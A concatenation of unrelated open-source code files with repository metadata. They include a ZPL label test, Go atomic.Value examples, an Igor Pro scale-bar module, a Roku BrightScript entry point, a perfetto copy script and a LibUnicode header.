^FO75,75^FR^GB100,100,100^FS
^FO93,93^GB40,40,40^FS
^FO220,50^FDIntershipping, Inc.^FS
^CF0,30
^FO220,115^FD1000 Shipping Lane^FS
^FO220,155^FDShelbyville TN 38102^FS
^FO220,195^FDUnited States (USA)^FS
^FO50,250^GB700,1,3^FS
^FX Second section with recipient address and permit information.
^CFA,30
^FO50,300^FDJohn Doe^FS
^FO50,340^FD100 Main Street^FS
^FO50,380^FDSpringfield TN 39021^FS
^FO50,420^FDUnited States (USA)^FS
^CFA,15
^FO600,300^GB150,150,3^FS
^FO638,340^FDPermit^FS
^FO638,390^FD123456^FS
^FO50,500^GB700,1,3^FS
^FX Third section with barcode.
^BY5,2,270
^FO100,550^BC^FD12345678^FS
^FX Fourth section (the two boxes on the bottom).
^FO50,900^GB700,250,3^FS
^FO400,900^GB1,250,3^FS
^CF0,40
^FO100,960^FDCtr. X34B-1^FS
^FO100,1010^FDREF1 F00B47^FS
^FO100,1060^FDREF2 BL4H8^FS
^CF0,190
^FO470,955^FDCA^FS
^XZ
| Zimpl | 3 | Justintime50/labelary | test/files/test_zpl_label.zpl | [
"MIT"
] |
<div class="modal hidden" id="modal-move">
<h2>MOVE PHOTOS</h2>
<p>where would you like to move the selected photos?</p>
<b></b>
<section id="albums-for-moving">
</section>
<progress id="moving-photos" class="progress" value="0" max="100"></progress>
<button class="action l md bold" onclick="moveSelectedPhotos();">move</button>
<button class="action r sm" onclick="hideActiveModal();">no, wait!</button>
</div>
| Kit | 3 | pws1453/web-client | source/imports/app/photos-modal-move.kit | [
"MIT"
] |
// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package atomic_test
import (
"sync"
"sync/atomic"
"time"
)
func loadConfig() map[string]string {
return make(map[string]string)
}
func requests() chan int {
return make(chan int)
}
// The following example shows how to use Value for periodic program config updates
// and propagation of the changes to worker goroutines.
func ExampleValue_config() {
var config atomic.Value // holds current server configuration
// Create initial config value and store into config.
config.Store(loadConfig())
go func() {
// Reload config every 10 seconds
// and update config value with the new version.
for {
time.Sleep(10 * time.Second)
config.Store(loadConfig())
}
}()
// Create worker goroutines that handle incoming requests
// using the latest config value.
for i := 0; i < 10; i++ {
go func() {
for r := range requests() {
c := config.Load()
// Handle request r using config c.
_, _ = r, c
}
}()
}
}
// The following example shows how to maintain a scalable frequently read,
// but infrequently updated data structure using copy-on-write idiom.
func ExampleValue_readMostly() {
type Map map[string]string
var m atomic.Value
m.Store(make(Map))
var mu sync.Mutex // used only by writers
// read function can be used to read the data without further synchronization
read := func(key string) (val string) {
m1 := m.Load().(Map)
return m1[key]
}
// insert function can be used to update the data without further synchronization
insert := func(key, val string) {
mu.Lock() // synchronize with other potential writers
defer mu.Unlock()
m1 := m.Load().(Map) // load current value of the data structure
m2 := make(Map) // create a new value
for k, v := range m1 {
m2[k] = v // copy all data from the current object to the new one
}
m2[key] = val // do the update that we need
m.Store(m2) // atomically replace the current object with the new one
// At this point all new readers start working with the new version.
// The old version will be garbage collected once the existing readers
// (if any) are done with it.
}
_, _ = read, insert
}
| Go | 5 | Havoc-OS/androidprebuilts_go_linux-x86 | src/sync/atomic/example_test.go | [
"BSD-3-Clause"
] |
OperatorTable do(
addOperator := method(symbol, precedence,
precedence = precedence ifNilEval(0)
operators atPut(symbol, precedence)
self
)
addAssignOperator := method(symbol, messageName,
assignOperators atPut(symbol, messageName)
self
)
asString := method(
s := Sequence clone appendSeq(OperatorTable asSimpleString, ":\n")
s appendSeq("Operators")
OperatorTable operators values unique sort foreach(precedence,
s appendSeq("\n ", precedence asString alignLeft(4), OperatorTable operators select(k, v, v == precedence) keys sort join(" "))
)
s appendSeq("\n\nAssign Operators")
OperatorTable assignOperators keys sort foreach(symbol,
name := OperatorTable assignOperators at(symbol)
s appendSeq("\n ", symbol alignLeft(4), name)
)
s appendSeq("\n\n")
s appendSeq("To add a new operator: OperatorTable addOperator(\"+\", 4) and implement the + message.\n")
s appendSeq("To add a new assign operator: OperatorTable addAssignOperator(\"=\", \"updateSlot\") and implement the updateSlot message.\n")
s
)
reverseAssignOperators := method(assignOperators reverseMap)
)
# Make the lookup path shorter for the opShuffle. IoMessage_opShuffle looks up
# the OperatorTable object on the first message before starting shuffling.
Message OperatorTable := OperatorTable
| Io | 4 | akluth/io | libs/iovm/io/A1_OperatorTable.io | [
"BSD-3-Clause"
] |
[Desktop Entry]
Name=Firefly
GenericName=Firefly
Comment=Firefly
Exec=firefly
Icon=firefly
Terminal=false
Type=Application
Categories=Network;
| desktop | 1 | 17701253801/firefly-proxy | client/installer/linux/firefly.desktop | [
"BSD-2-Clause"
] |
#import <FooHelperSub/FooHelperSub.h>
int fooHelperFunc1(int a);
enum {
FooHelperUnnamedEnumeratorA1,
FooHelperUnnamedEnumeratorA2,
};
| C | 1 | lwhsu/swift | test/SourceKit/Inputs/libIDE-mock-sdk/FooHelper.framework/Headers/FooHelper.h | [
"Apache-2.0"
] |
N ← 10000
f ← { ⍵ ⋄ ⌈/ ⌈/ N N ⍴ ⍳ 10000 }
x ← (f ⎕BENCH 1) 5
⎕ ← x
0 | APL | 2 | melsman/apltail | tests/bench1.apl | [
"MIT"
] |
#pragma TextEncoding = "UTF-8"
#pragma rtGlobals=3
#pragma moduleName = SIDAMScaleBar
#include "SIDAM_Utilities_Control"
#include "SIDAM_Utilities_Image"
#include "SIDAM_Utilities_Panel"
#include "SIDAM_Compatibility_ScaleBar" // backward compatibility
#ifndef SIDAMshowProc
#pragma hide = 1
#endif
// Default values of variable values that can be chosen by users
Static StrConstant DEFAULT_ANCHOR = "LB" // position, LB, LT, RB, RT
Static Constant DEFAULT_SIZE = 0 // font size (pt)
Static Constant DEFAULT_FC = 0 // color of characters (0,0,0)
Static Constant DEFAULT_BC = 65535 // color of background (65535,65535,65535)
Static Constant DEFAULT_FA = 65535 // opacity of characters
Static Constant DEFAULT_BA = 39321 // opacity of background 65535*0.6 = 39321
Static Constant DEFAULT_PREFIX = 1 // use a prefix
// Fixed values
Static Constant NICEWIDTH = 20 // Width of scale bar is about 20% of a window
Static Constant MARGIN = 0.02 // Position from the edge
Static Constant OFFSET = 0.015 // Space between the bar and characters
Static Constant LINETHICK = 3 // Thickness of the bar
Static Constant DOUBLECLICK = 20 // Interval between clicks to recognize double-click
Static StrConstant NICEVALUES = "1;2;3;5" // Definition of "nice" values
// Internal use
Static StrConstant NAME = "SIDAMScalebar"
//@
// Show a scale bar.
//
// ## Parameters
// grfName : string, default `WinName(0,1)`
// The name of a window.
// anchor : string, {"LB", "LT", "RB", or "RT"}
// The position of the scale bar. If empty, delete the scale bar.
// size : int
// The font size (pt).
// fgRGBA : wave
// The foreground color.
// bgRGBA : wave
// The background color.
// prefix: int {0 or !0}, default 1
// Set !0 to use a prefix such as k and m.
//@
Function SIDAMScalebar([String grfName, String anchor, int size,
Wave fgRGBA, Wave bgRGBA, int prefix])
grfName = SelectString(ParamIsDefault(grfName), grfName, WinName(0,1))
anchor = SelectString(ParamIsDefault(anchor), anchor, "")
if (validate(grfName, anchor))
return 0
endif
STRUCT paramStruct s
s.overwrite[0] = !ParamIsDefault(anchor)
s.overwrite[1] = !ParamIsDefault(size)
s.overwrite[2] = !ParamIsDefault(fgRGBA)
s.overwrite[3] = !ParamIsDefault(bgRGBA)
initializeParamStruct(s, grfName, anchor, size, fgRGBA, bgRGBA)
// If the anchor is empty, delete the scale bar
if (!s.anchor[0] && !s.anchor[1])
deleteBar(grfName)
return 0
endif
s.prefix = ParamIsDefault(prefix) ? DEFAULT_PREFIX : prefix
// Delete the scale bar if it is already shown, then
// show a new bar
if (strlen(GetUserData(grfName,"",NAME))>0)
deleteBar(grfName)
endif
writeBar(grfName,s)
End
Static Function validate(String grfName, String anchor)
String errMsg = PRESTR_CAUTION + "SIDAMScalebar gave error: "
if (!strlen(grfName))
printf "%sgraph not found.\r", errMsg
return 1
elseif (!SIDAMWindowExists(grfName))
printf "%sa graph named %s is not found.\r", errMsg, grfName
return 1
elseif (!strlen(ImageNameList(grfName,";")))
printf "%s%s has no image.\r", errMsg, grfName
return 1
endif
String anchors = "LB;LT;RB;RT"
if (strlen(anchor) && WhichListItem(anchor, anchors) < 0)
printf "%sthe anchor must be one of %s.\r", errMsg, anchors
return 1
endif
return 0
End
Static Function initializeParamStruct(STRUCT paramStruct &s, String grfName,
String anchor, int size, Wave/Z fgRGBA, Wave/Z bgRGBA)
Make/B/U/N=4/FREE overwrite = s.overwrite[p]
// Use the present value if a scale bar is displayed.
// If not, use the default values.
String settingStr = GetUserData(grfName,"",NAME)
if (strlen(settingStr))
StructGet/S s, settingStr
else
s.anchor[0] = char2num(DEFAULT_ANCHOR[0])
s.anchor[1] = char2num(DEFAULT_ANCHOR[1])
s.fontsize = DEFAULT_SIZE
s.fgRGBA.red = DEFAULT_FC
s.fgRGBA.green = DEFAULT_FC
s.fgRGBA.blue = DEFAULT_FC
s.fgRGBA.alpha = DEFAULT_FA
s.bgRGBA.red = DEFAULT_BC
s.bgRGBA.green = DEFAULT_BC
s.bgRGBA.blue = DEFAULT_BC
s.bgRGBA.alpha = DEFAULT_BA
endif
// If a parameter is specified in the main function,
// overwrite with the value.
if (overwrite[0])
s.anchor[0] = strlen(anchor) ? char2num(anchor[0]) : 0
s.anchor[1] = strlen(anchor) ? char2num(anchor[1]) : 0
endif
if (overwrite[1])
s.fontsize = limit(size,0,inf)
endif
try
if (overwrite[2])
s.fgRGBA.red = fgRGBA[0]; AbortOnRTE
s.fgRGBA.green = fgRGBA[1]; AbortOnRTE
s.fgRGBA.blue = fgRGBA[2]; AbortOnRTE
s.fgRGBA.alpha = numpnts(fgRGBA)>3 ? fgRGBA[3] : 65535
endif
if (overwrite[3])
s.bgRGBA.red = bgRGBA[0]; AbortOnRTE
s.bgRGBA.green = bgRGBA[1]; AbortOnRTE
s.bgRGBA.blue = bgRGBA[2]; AbortOnRTE
s.bgRGBA.alpha = numpnts(bgRGBA)>3 ? bgRGBA[3] : 65535
endif
catch
Variable err = GetRTError(1)
String msg = PRESTR_CAUTION + "SIDAMScalebar gave error: "
switch (err)
case 1321:
print msg + "out of index"
break
case 330:
print msg + "wave not found"
break
default:
print msg + "error code ("+num2str(err)+")"
endswitch
return 0
endtry
End
Static Structure paramStruct
// for input
uchar anchor[2]
uint16 fontsize
STRUCT RGBAColor fgRGBA
STRUCT RGBAColor bgRGBA
uchar prefix
// for internal use
uchar overwrite[4]
STRUCT RectF box
double xmin, xmax, ymin, ymax
double ticks
EndStructure
Static Function hook(STRUCT WMWinHookStruct &s)
switch (s.eventCode)
case 3: // mousedown
case 5: // mouseup
case 6: // resized
case 8: // modified
break
default:
return 0
endswitch
int returnCode = 0
String str
STRUCT paramStruct ps
StructGet/S ps, GetUserData(s.winName,"",NAME)
switch (s.eventCode)
case 3: // mousedown
// Open the panel by double-clicking the scale bar
if (ps.ticks == 0)
break
elseif (s.ticks-ps.ticks < DOUBLECLICK && isClickedInside(ps.box,s))
pnl(s.winName)
// Suppress opening the panel of "Modify Trace Appearance"
returnCode = 1
endif
ps.ticks = 0 // Clear the event of the first click
StructPut/S ps, str
SetWindow $s.winName userData($NAME)=str
break
case 5: // mouseup
// Record the event of first click to open the panel by
// double-clicking the scale bar.
if (ps.ticks == 0 && isClickedInside(ps.box,s))
ps.ticks = s.ticks
StructPut/S ps, str
SetWindow $s.winName userData($NAME)=str
endif
break
case 8: // modified
// Do nothing unless a change is made in the displayed area
STRUCT SIDAMAxisRange as
SIDAMGetAxis(s.winName,StringFromList(0,ImageNameList(s.winName,";")),as)
if (as.xmin==ps.xmin && as.xmax==ps.xmax \
&& as.ymin==ps.ymin && as.ymax==ps.ymax)
break
endif
// *** FALLTHROUGH ***
case 6: // resized
SIDAMScalebar(grfName=s.winName)
break
endswitch
return returnCode
End
Static Function isClickedInside(STRUCT RectF &box, STRUCT WMWinHookStruct &s)
GetWindow $s.winName, psizeDC
Variable x0 = V_left+(V_right-V_left)*box.left
Variable x1 = V_left+(V_right-V_left)*box.right
Variable y0 = V_top+(V_bottom-V_top)*box.top
Variable y1 = V_top+(V_bottom-V_top)*box.bottom
return (x0 < s.mouseLoc.h && s.mouseLoc.h < x1 && y0 < s.mouseLoc.v && s.mouseLoc.v < y1)
End
Static Function echo(String grfName, STRUCT paramStruct &s)
String paramStr = "grfName=\"" + grfName + "\""
if (!s.anchor[0] && !s.anchor[1])
printf "%sSIDAMScalebar(%s,anchor=\"\")\r", PRESTR_CMD, paramStr
return 0
elseif (s.anchor[0] != char2num(DEFAULT_ANCHOR[0]) || s.anchor[1] != char2num(DEFAULT_ANCHOR[1]))
sprintf paramStr, "%s,anchor=\"%s\"", paramStr, s.anchor
endif
if (s.fontsize != DEFAULT_SIZE)
sprintf paramStr, "%s,size=%d", paramStr, s.fontsize
endif
if (s.fgRGBA.red != DEFAULT_FC || s.fgRGBA.green != DEFAULT_FC || s.fgRGBA.blue != DEFAULT_FC || s.fgRGBA.alpha != DEFAULT_FA)
sprintf paramStr, "%s,fgRGBA={%d,%d,%d,%d}", paramStr, s.fgRGBA.red, s.fgRGBA.green, s.fgRGBA.blue, s.fgRGBA.alpha
endif
if (s.bgRGBA.red != DEFAULT_BC || s.bgRGBA.green != DEFAULT_BC || s.bgRGBA.blue != DEFAULT_BC || s.bgRGBA.alpha != DEFAULT_BA)
sprintf paramStr, "%s,bgRGBA={%d,%d,%d,%d}", paramStr, s.bgRGBA.red, s.bgRGBA.green, s.bgRGBA.blue, s.bgRGBA.alpha
endif
printf "%sSIDAMScalebar(%s)\r", PRESTR_CMD, paramStr
End
Static Function/S menuDo()
pnl(WinName(0,1))
End
//******************************************************************************
// Draw a scale bar
//******************************************************************************
Static Function writeBar(String grfName, STRUCT paramStruct &s)
SetActiveSubWindow $StringFromList(0,grfName,"#")
Wave w = SIDAMImageWaveRef(grfName)
// If the anchor is empty, px=0 and py=1, that is LB.
int px = s.anchor[0]==82 // L:0, R:1
int py = s.anchor[1]!=84 // B:1, T:0
Variable v0, v1
String str
// The area of scale bar
STRUCT SIDAMAxisRange as
SIDAMGetAxis(grfName,NameOfWave(w),as)
Variable L = as.xmax-as.xmin // width (scaling value)
s.xmin = as.xmin
s.xmax = as.xmax
s.ymin = as.ymin
s.ymax = as.ymax
// Decide the length of scale bar
// NICEWIDTH(%) of the scale bar area (scaling value)
Variable rawwidth = L*NICEWIDTH*1e-2
int digit = floor(log(rawwidth)) // number of digits of rawwidth - 1
Make/FREE/N=(ItemsInList(NICEVALUES)) nicew = str2num(StringFromList(p,NICEVALUES)), tw
tw = abs(nicew*10^digit - rawwidth)
WaveStats/Q/M=1 tw
// A "nice value" close to rawwidth (scaling value)
Variable nicewidth = nicew[V_minloc]*10^digit
// Numbers to be displayed
String barStr
int existUnit = strlen(WaveUnits(w,0))
if (existUnit && s.prefix)
sprintf barStr, "%.0W1P%s", nicewidth, WaveUnits(w,0)
elseif (existUnit && !s.prefix)
barStr = num2str(nicewidth)+" "+WaveUnits(w,0)
elseif (!existUnit && s.prefix)
sprintf barStr, "%.0W0P", nicewidth
else
barStr = num2str(nicewidth)
endif
String fontname = GetDefaultFont(grfName)
int fontsize = s.fontsize ? s.fontsize : GetDefaultFontSize(grfName,"")
// Height and width of the scale bar area
// Width of displayed numbers, pixel
v0 = FontSizeStringWidth(GetDefaultFont(grfName),\
fontsize*ScreenResolution/72,0,barStr)*getExpand(grfName)
// Height of displayed numbers, pixel
v1 = FontSizeHeight(GetDefaultFont(grfName),\
fontsize*ScreenResolution/72,0)*getExpand(grfName)
GetWindow $grfName psizeDC
// The longer one of the bar and the numbers is used as the width
Variable boxWidth = max(v0/(V_right-V_left),nicewidth/L) + MARGIN*2
Variable boxHeight = v1/(V_bottom-V_top) + MARGIN*2 + OFFSET
// Draw the scale bar
// Initialize
stopUpdateBar(grfName)
SetDrawLayer/W=$grfName ProgFront
SetDrawEnv/W=$grfName gname=$NAME, gstart
// Background
SetDrawEnv/W=$grfName xcoord=prel, ycoord=prel
SetDrawEnv/W=$grfName fillfgc=(s.bgRGBA.red,s.bgRGBA.green,s.bgRGBA.blue,s.bgRGBA.alpha), linethick=0.00
DrawRect/W=$grfName px, py, px+boxWidth*(px?-1:1), py+boxHeight*(py?-1:1)
// Record the position of the background
s.box.left = min(px,px+boxWidth*(px?-1:1))
s.box.right = max(px,px+boxWidth*(px?-1:1))
s.box.top = min(py,py+boxHeight*(py?-1:1))
s.box.bottom = max(py,py+boxHeight*(py?-1:1))
StructPut/S s, str
SetWindow $grfName userData($NAME)=str
// Bar
v0 = (px? as.xmax : as.xmin) + (L*boxWidth-nicewidth)/2*(px?-1:1)
v1 = py + MARGIN*(py?-1:1)
SetDrawEnv/W=$grfName xcoord=$as.xaxis, ycoord=prel
SetDrawEnv/W=$grfName linefgc=(s.fgRGBA.red,s.fgRGBA.green,s.fgRGBA.blue,s.fgRGBA.alpha), linethick=LINETHICK
DrawLine/W=$grfName v0, v1, v0+nicewidth*(px?-1:1), v1
// Number and unit
SetDrawEnv/W=$grfName xcoord=prel, ycoord=prel, textxjust=1, textyjust=(py?0:2), fsize=fontsize, fname=fontname
SetDrawEnv/W=$grfName textrgb=(s.fgRGBA.red,s.fgRGBA.green,s.fgRGBA.blue,s.fgRGBA.alpha)
v0 = px + boxWidth/2*(px?-1:1)
v1 = py + (MARGIN+OFFSET)*(py?-1:1)
DrawText/W=$grfName v0, v1, barStr
// Finalize
SetDrawEnv/W=$grfName gstop
SetDrawLayer/W=$grfName UserFront
resumeUpdateBar(grfName)
End
Static Function getExpand(String grfName)
STRUCT SIDAMWindowInfo s
SIDAMGetWindow(grfName, s)
return s.expand
End
Static Function deleteBar(String grfName)
stopUpdateBar(grfName)
DrawAction/L=ProgFront/W=$grfName getgroup=$NAME, delete
KMScaleBar#deleteBar(grfName) // backward compatibility
End
Static Function stopUpdateBar(String grfName)
SetWindow $grfName hook($NAME)=$""
SetWindow $grfName userData($NAME)=""
DoUpdate/W=$grfName
End
Static Function resumeUpdateBar(String grfName)
SetWindow $grfName hook($NAME)=SIDAMScaleBar#hook
DoUpdate/W=$grfName
End
//******************************************************************************
// show panel
//******************************************************************************
Static Function pnl(String grfName)
if (SIDAMWindowExists(grfName+"#Scalebar"))
return 0
endif
NewPanel/HOST=$grfName/EXT=0/W=(0,0,135,270)/N=Scalebar as "Scale bar"
String pnlName = grfName + "#Scalebar"
String settingStr = GetUserData(grfName,"",NAME), anchor
Variable opacity
int isDisplayed = strlen(settingStr) > 0
// Use the present value if a scale bar is displayed.
// If not, use the default values.
STRUCT paramStruct s
if (isDisplayed)
StructGet/S s, settingStr
anchor = num2char(s.anchor[0])+num2char(s.anchor[1])
SetWindow $pnlName userData(init)=settingStr
else
anchor = DEFAULT_ANCHOR
s.fontsize = DEFAULT_SIZE
s.fgRGBA.red = DEFAULT_FC; s.fgRGBA.green = DEFAULT_FC; s.fgRGBA.blue = DEFAULT_FC; s.fgRGBA.alpha = DEFAULT_FA
s.bgRGBA.red = DEFAULT_BC; s.bgRGBA.green = DEFAULT_BC; s.bgRGBA.blue = DEFAULT_BC; s.bgRGBA.alpha = DEFAULT_BA
s.prefix = DEFAULT_PREFIX
endif
CheckBox showC pos={6,9}, title="Show scale bar", win=$pnlName
CheckBox showC value=isDisplayed, proc=SIDAMScaleBar#pnlCheck, win=$pnlName
CheckBox prefixC pos={6,34}, title="Use a prefix (\u03bc, n, ...)", win=$pnlName
CheckBox prefixC value=s.prefix, proc=SIDAMScaleBar#pnlCheck, win=$pnlName
GroupBox anchorG pos={5,58}, size={125,70}, title="Anchor", win=$pnlName
CheckBox ltC pos={12,78}, title="LT", value=!CmpStr(anchor,"LT"), help={"Left bottom"}, win=$pnlName
CheckBox lbC pos={12,104}, title="LB", value=!CmpStr(anchor,"LB"), helP={"Left top"}, win=$pnlName
CheckBox rtC pos={89,78}, title="RT", value=!CmpStr(anchor,"RT"), side=1, helP={"Right top"}, win=$pnlName
CheckBox rbC pos={89,104}, title="RB", value=!CmpStr(anchor,"RB"), side=1, helP={"Right bottom"}, win=$pnlName
GroupBox propG pos={5,136}, size={125,95}, title="Properties", win=$pnlName
SetVariable sizeV pos={18,157}, size={100,18}, title="Text size:", bodyWidth=40, format="%d", win=$pnlName
SetVariable sizeV value=_NUM:s.fontsize, limits={0,inf,0}, proc=SIDAMScaleBar#pnlSetVar, win=$pnlName
SetVariable sizeV help={"A value of 0 means the font size of the default font of the graph."}, win=$pnlName
PopupMenu fgRGBAP pos={24,180}, size={94,19}, win=$pnlName
PopupMenu fgRGBAP title="Fore color:", value=#"\"*COLORPOP*\"", win=$pnlName
PopupMenu fgRGBAP popColor=(s.fgRGBA.red,s.fgRGBA.green,s.fgRGBA.blue,s.fgRGBA.alpha), win=$pnlName
PopupMenu fgRGBAP help={"Color for the scale bar"}, win=$pnlName
PopupMenu bgRGBAP pos={22,204}, size={96,19}, win=$pnlName
PopupMenu bgRGBAP title="Back color:", value=#"\"*COLORPOP*\"", win=$pnlName
PopupMenu bgRGBAP popColor=(s.bgRGBA.red,s.bgRGBA.green,s.bgRGBA.blue,s.bgRGBA.alpha), win=$pnlName
PopupMenu bgRGBAP help={"Color for the background of the scale bar"}, win=$pnlName
Button doB pos={5,240}, title="Do It", size={50,22}, proc=SIDAMScaleBar#pnlButton, win=$pnlName
Button cancelB pos={70,240}, title="Cancel", size={60,22}, proc=SIDAMScaleBar#pnlButton, win=$pnlName
ModifyControlList "ltC;lbC;rtC;rbC" mode=1, proc=SIDAMScaleBar#pnlCheck, win=$pnlname
ModifyControlList "fgRGBAP;bgRGBAP" mode=1, bodyWidth=40, proc=SIDAMScaleBar#pnlPopup, win=$pnlName
ModifyControlList ControlNameList(pnlName,";","*") focusRing=0, win=$pnlName
ctrlDisable(pnlName)
SetActiveSubwindow $grfName
End
//******************************************************************************
// Controls
//******************************************************************************
// Button
Static Function pnlButton(STRUCT WMButtonAction &s)
if (s.eventCode != 2)
return 0
endif
String grfName = StringFromList(0,s.win,"#")
STRUCT paramStruct ps
strswitch (s.ctrlName)
case "cancelB":
if (strlen(GetUserData(s.win,"","init")))
StructGet/S ps, GetUserData(s.win,"","init")
SIDAMScalebar(grfName=grfName,\
anchor=num2char(ps.anchor[0])+num2char(ps.anchor[1]),size=ps.fontsize,\
fgRGBA={ps.fgRGBA.red,ps.fgRGBA.green,ps.fgRGBA.blue,ps.fgRGBA.alpha},\
bgRGBA={ps.bgRGBA.red,ps.bgRGBA.green,ps.bgRGBA.blue,ps.bgRGBA.alpha},\
prefix=ps.prefix)
else
SIDAMScalebar(grfName=grfName,anchor="")
endif
break
case "doB":
StructGet/S ps, GetUserData(grfName,"",NAME)
echo(grfName,ps)
break
endswitch
KillWindow $s.win
End
// Checkbox
Static Function pnlCheck(STRUCT WMCheckboxAction &s)
if (s.eventCode != 2)
return 1
endif
String grfName = StringFromList(0,s.win,"#")
strswitch (s.ctrlName)
case "showC":
ctrlDisable(s.win)
SIDAMScalebar(grfName=grfName, anchor=SelectString(s.checked,\
"",getAnchorFromPnl(s.win)))
break
case "prefixC":
SIDAMScalebar(grfName=grfName,prefix=s.checked)
break
case "ltC":
case "lbC":
case "rtC":
case "rbC":
CheckBox ltC value=CmpStr(s.ctrlName,"ltC")==0, win=$s.win
CheckBox lbC value=CmpStr(s.ctrlName,"lbC")==0, win=$s.win
CheckBox rtC value=CmpStr(s.ctrlName,"rtC")==0, win=$s.win
CheckBox rbC value=CmpStr(s.ctrlName,"rbC")==0, win=$s.win
String ctrlName = s.ctrlName
SIDAMScalebar(grfName=grfName,anchor=upperstr(ctrlName[0,1]))
break
endswitch
End
// Setvariable
Static Function pnlSetVar(STRUCT WMSetVariableAction &s)
// Handle either mouse up or enter key
if (s.eventCode != 1 && s.eventCode != 2)
return 1
endif
strswitch (s.ctrlName)
case "sizeV":
SIDAMScalebar(grfName=StringFromList(0,s.win,"#"), size=s.dval)
break
endswitch
End
// Popup
Static Function pnlPopup(STRUCT WMPopupAction &s)
if (s.eventCode != 2)
return 0
endif
String str = s.popStr, listStr = str[1,strlen(s.popStr)-2]
Make/W/U/N=(ItemsInList(listStr,","))/FREE tw = str2num(StringFromList(p,listStr,","))
strswitch (s.ctrlName)
case "fgRGBAP":
SIDAMScalebar(grfName=StringFromList(0,s.win,"#"), fgRGBA=tw)
break
case "bgRGBAP":
SIDAMScalebar(grfName=StringFromList(0,s.win,"#"), bgRGBA=tw)
break
endswitch
End
//******************************************************************************
// Helper funcitons for control
//******************************************************************************
Static Function ctrlDisable(String pnlName)
ControlInfo/W=$pnlName showC
ModifyControlList ControlNameList(pnlName,";","*") disable=(!V_Value)*2, win=$pnlName
ModifyControlList "showC;doB;cancelB" disable=0, win=$pnlName
End
Static Function/S getAnchorFromPnl(String pnlName)
Wave cw = SIDAMGetCtrlValues(pnlName,"ltC;lbC;rtC;rbC")
WaveStats/Q/M=1 cw
return StringFromList(V_maxloc,"LT;LB;RT;RB")
End
| IGOR Pro | 5 | yuksk/SIDAM | src/SIDAM/func/SIDAM_ScaleBar.ipf | [
"MIT"
] |
'* Copyright (c) 2017 Roku, Inc. All rights reserved.
'
' File: main.brs
'
' This is the function called by the Roku device to start this channel
sub Main()
print chr(10) + "======================== CHANNEL STARTING =========================" + chr(10)
screen = CreateObject("roSGScreen")
m.port = CreateObject("roMessagePort")
screen.setMessagePort(m.port)
scene = screen.CreateScene("MainScene")
screen.show()
while(true)
msg = wait(0, m.port)
' print "msg: " + roToString(msg)
msgType = type(msg)
if msgType = "roSGScreenEvent"
if msg.isScreenClosed() then return
end if
end while
end sub
| Brightscript | 4 | khangh/samples | certification/manifestData-sample-master/source/main.brs | [
"MIT"
] |
'reach 0.1';
while (true) {
continue;
}
export const main = Reach.App(
{}, [], () => { return x; }
);
| RenderScript | 1 | chikeabuah/reach-lang | hs/t/n/Err_Block_While.rsh | [
"Apache-2.0"
] |
#!/usr/bin/bash
DEST=tici:/data/openpilot/selfdrive/debug/profiling/perfetto
scp -r perfetto/out/linux/tracebox $DEST
scp -r perfetto/test/configs $DEST
| Shell | 4 | GratefulJinx77/openpilot-1 | selfdrive/debug/profiling/perfetto/copy.sh | [
"MIT"
] |
/*
* Copyright (c) 2021, Tim Flynn <trflynn89@pm.me>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#pragma once
#include <AK/Optional.h>
#include <AK/String.h>
#include <AK/StringView.h>
#include <AK/Types.h>
#include <AK/Vector.h>
#include <LibUnicode/Forward.h>
namespace Unicode::Detail {
struct Symbols {
static Symbols const& ensure_loaded();
// Loaded from UnicodeData.cpp:
Optional<String> (*code_point_display_name)(u32) { nullptr };
u32 (*canonical_combining_class)(u32 code_point) { nullptr };
u32 (*simple_uppercase_mapping)(u32) { nullptr };
u32 (*simple_lowercase_mapping)(u32) { nullptr };
Span<SpecialCasing const* const> (*special_case_mapping)(u32 code_point) { nullptr };
Optional<GeneralCategory> (*general_category_from_string)(StringView) { nullptr };
bool (*code_point_has_general_category)(u32, GeneralCategory) { nullptr };
Optional<Property> (*property_from_string)(StringView) { nullptr };
bool (*code_point_has_property)(u32, Property) { nullptr };
Optional<Script> (*script_from_string)(StringView) { nullptr };
bool (*code_point_has_script)(u32, Script) { nullptr };
bool (*code_point_has_script_extension)(u32, Script) { nullptr };
// Loaded from UnicodeLocale.cpp:
Optional<Locale> (*locale_from_string)(StringView) { nullptr };
Optional<StringView> (*get_locale_language_mapping)(StringView, StringView) { nullptr };
Optional<StringView> (*get_locale_territory_mapping)(StringView, StringView) { nullptr };
Optional<StringView> (*get_locale_script_tag_mapping)(StringView, StringView) { nullptr };
Optional<StringView> (*get_locale_long_currency_mapping)(StringView, StringView) { nullptr };
Optional<StringView> (*get_locale_short_currency_mapping)(StringView, StringView) { nullptr };
Optional<StringView> (*get_locale_narrow_currency_mapping)(StringView, StringView) { nullptr };
Optional<StringView> (*get_locale_numeric_currency_mapping)(StringView, StringView) { nullptr };
Optional<StringView> (*get_locale_key_mapping)(StringView, StringView) { nullptr };
Optional<ListPatterns> (*get_locale_list_pattern_mapping)(StringView, StringView, StringView) { nullptr };
Optional<StringView> (*resolve_language_alias)(StringView) { nullptr };
Optional<StringView> (*resolve_territory_alias)(StringView) { nullptr };
Optional<StringView> (*resolve_script_tag_alias)(StringView) { nullptr };
Optional<StringView> (*resolve_variant_alias)(StringView) { nullptr };
Optional<StringView> (*resolve_subdivision_alias)(StringView) { nullptr };
void (*resolve_complex_language_aliases)(LanguageID&);
Optional<LanguageID> (*add_likely_subtags)(LanguageID const&);
Optional<String> (*resolve_most_likely_territory)(LanguageID const&);
// Loaded from UnicodeNumberFormat.cpp:
Optional<StringView> (*get_number_system_symbol)(StringView, StringView, NumericSymbol);
Optional<NumberGroupings> (*get_number_system_groupings)(StringView, StringView);
Optional<NumberFormat> (*get_standard_number_system_format)(StringView, StringView, StandardNumberFormatType);
Vector<NumberFormat> (*get_compact_number_system_formats)(StringView, StringView, CompactNumberFormatType);
Vector<NumberFormat> (*get_unit_formats)(StringView, StringView, Style);
// Loaded from UnicodeDateTimeFormat.cpp:
Vector<HourCycle> (*get_regional_hour_cycles)(StringView) { nullptr };
Optional<CalendarFormat> (*get_calendar_date_format)(StringView, StringView) { nullptr };
Optional<CalendarFormat> (*get_calendar_time_format)(StringView, StringView) { nullptr };
Optional<CalendarFormat> (*get_calendar_date_time_format)(StringView, StringView) { nullptr };
Vector<CalendarPattern> (*get_calendar_available_formats)(StringView, StringView) { nullptr };
Optional<CalendarRangePattern> (*get_calendar_default_range_format)(StringView, StringView) { nullptr };
Vector<CalendarRangePattern> (*get_calendar_range_formats)(StringView, StringView, StringView) { nullptr };
